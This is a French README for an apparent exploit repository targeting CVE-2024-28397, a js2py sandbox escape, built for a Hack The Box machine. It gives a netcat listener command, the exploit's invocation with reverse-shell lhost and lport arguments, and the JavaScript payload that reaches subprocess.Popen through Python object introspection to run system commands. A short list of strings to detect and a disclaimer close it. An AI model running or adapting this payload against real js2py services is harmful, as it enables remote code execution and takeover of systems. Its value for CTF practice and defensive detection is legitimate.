
Ce dépôt contient un code d'exploitation en Python pour CVE-2024-28397, destiné à être utilisé sur la machine « CodePartTwo » de Hack The Box (HTB).
Un code d'exploitation Python pour CVE-2024-28397, une vulnérabilité critique dans js2py <= 0.74 permettant l'évasion du bac à sable et l'exécution de code à distance.
js2py est une bibliothèque Python populaire pour évaluer du code JavaScript dans des environnements Python. Cette vulnérabilité permet aux attaquants de s'échapper de l'environnement de bac à sable de js2py et d'exécuter des commandes Python/système arbitraires, même lorsque js2py.disable_pyimport() est activé.
L'exploit exploite les capacités d'introspection d'objets de Python via JavaScript pour accéder à la classe subprocess.Popen et exécuter des commandes système.
pip install requests
# Start netcat listener
nc -lnvp 4444
# Run exploit
python3 exploit.py --target http://target.com:8000/run_code --lhost 10.10.14.100 --lport 4444
--target Point de terminaison URL cible (requis)
--lhost IP locale pour reverse shell (requis)
--lport Port local pour reverse shell (défaut: 4444)
python3 exploit.py --target http://10.10.11.82:8000/run_code --lhost 10.10.14.100
__class__ et __base__subprocess.Popen via introspectionL'exploit fonctionne en :
Object.getOwnPropertyNames({}).__class__.__base__.__getattribute____subclasses__()subprocess.Popen// Access Python object hierarchy
let a = Object.getOwnPropertyNames({}).__class__.__base__.__getattribute__;
let obj = a(a(a, "__class__"), "__base__");
// Find subprocess.Popen class
function findpopen(o) {
// Recursive search through subclasses
for(let i in o.__subclasses__()) {
let item = o.__subclasses__()[i];
if(item.__module__ == "subprocess" && item.__name__ == "Popen") {
return item;
}
}
}
// Execute command
let result = findpopen(obj)(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
Recherchez du code JavaScript contenant :
__class__ ou ___class_____subclasses__()subprocess ou Popenprintf et base64 -dCet outil est destiné uniquement à des tests de pénétration autorisés et à des fins éducatives. Les utilisateurs sont responsables du respect des lois et réglementations applicables. L'accès non autorisé aux systèmes informatiques est illégal.
Ce projet est sous licence MIT - voir le fichier LICENSE pour plus de détails.